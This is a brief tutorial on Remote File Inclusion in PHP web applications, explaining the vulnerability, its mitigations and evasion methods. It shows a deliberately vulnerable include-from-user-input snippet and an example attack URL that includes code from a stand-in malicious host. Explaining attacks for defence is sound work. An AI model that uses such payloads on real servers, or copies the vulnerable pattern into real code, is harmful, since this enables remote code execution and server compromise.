RFI

Remote File Inclusion (RFI) is a type of vulnerability that allows an attacker to include and execute remotely hosted files within a web application. This can lead to remote code execution, data theft, or full system compromise.

How RFI Works

• Occurs when a web application dynamically includes external files or scripts from remote servers.

• Attackers manipulate input (e.g., URL parameters) to point to external malicious files, leading to execution of the attacker-controlled code on the server.

Typical Vulnerable Code Patterns

• Code that includes files based on user input without proper validation or sanitization.

• Example of vulnerable PHP code:

  $file = $_GET['file'];
  include($file);

Exploitation Techniques

• Direct Inclusion: Attacker hosts malicious code on a server and uses the vulnerable parameter to include it. For example, ?file=http://malicious.com/malicious_code.php.

• Indirect Inclusion: Attacker uses third-party sites (like pastebin) to host the malicious code and includes it via the vulnerable parameter.

Mitigation Strategies

• Input Validation: Ensure only local or trusted files can be included, avoiding dynamic inclusion based on external input.

• Configuration: Set allow_url_include to Off in php.ini to prevent the inclusion of remote files.

• Update and Patch: Keep PHP and other server software up-to-date to ensure known vulnerabilities are patched.

Advanced RFI Techniques

• Wrapper Techniques: Similar to LFI, attackers might use PHP wrappers (php://input, data://) in conjunction with RFI to bypass filters or execute non-standard payloads.

• Filter Evasion: Employing encoding or obfuscation to slip malicious payloads past input validation mechanisms.

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